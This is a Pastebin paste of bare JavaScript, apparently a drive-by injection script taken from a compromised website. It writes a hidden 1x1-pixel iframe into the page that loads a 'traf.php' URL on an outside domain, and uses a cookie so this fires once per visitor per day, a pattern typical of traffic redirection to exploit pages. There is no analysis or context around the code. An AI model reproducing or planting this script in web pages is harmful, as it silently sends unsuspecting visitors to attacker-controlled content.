Guest User

Untitled

a guest
May 4th, 2013
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function zzzfff() {
  2.      var q = document.createElement('iframe');
  3.  
  4.      q.src = 'http://www.informaviano.it/components/traf.php';
  5.      q.style.position = 'absolute';
  6.      q.style.border = '0';
  7.      q.style.height = '1px';
  8.      q.style.width = '1px';
  9.      q.style.left = '1px';
  10.      q.style.top = '1px';
  11.  
  12.  
  13.  
  14.      if (!document.getElementById('q')) {
  15.          document.write('<div id=\'q\'></div>');
  16.          document.getElementById('q').appendChild(q);
  17.      }
  18.  }
  19.  
  20.  function SetCookie(cookieName, cookieValue, nDays, path) {
  21.      var today = new Date();
  22.      var expire = new Date();
  23.    
  24.      if (nDays == null || nDays == 0) nDays = 1;
  25.         expire.setTime(today.getTime() + 3600000 * 24 * nDays);
  26.  
  27.      document.cookie = cookieName + "=" + escape(cookieValue)
  28.      + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
  29.  }
  30.  
  31.  function GetCookie(name) {
  32.      var start = document.cookie.indexOf(name + "=");
  33.      var len = start + name.length + 1;
  34.      if ((!start) && (name != document.cookie.substring(0, name.length)))
  35.      {
  36.          return null;
  37.      }
  38.  
  39.      if (start == -1) return null;
  40.         var end = document.cookie.indexOf(";", len);
  41.  
  42.      if (end == -1) end = document.cookie.length;
  43.         return unescape(document.cookie.substring(len, end));
  44.  }
  45.  
  46.  if (navigator.cookieEnabled)
  47.  {
  48.      if (GetCookie('visited_uq') == 55) {} else {
  49.          SetCookie('visited_uq', '55', '1', '/');
  50.  
  51.          zzzfff();
  52.      }
  53.  }
Advertisement
Add Comment
Please, Sign In to add comment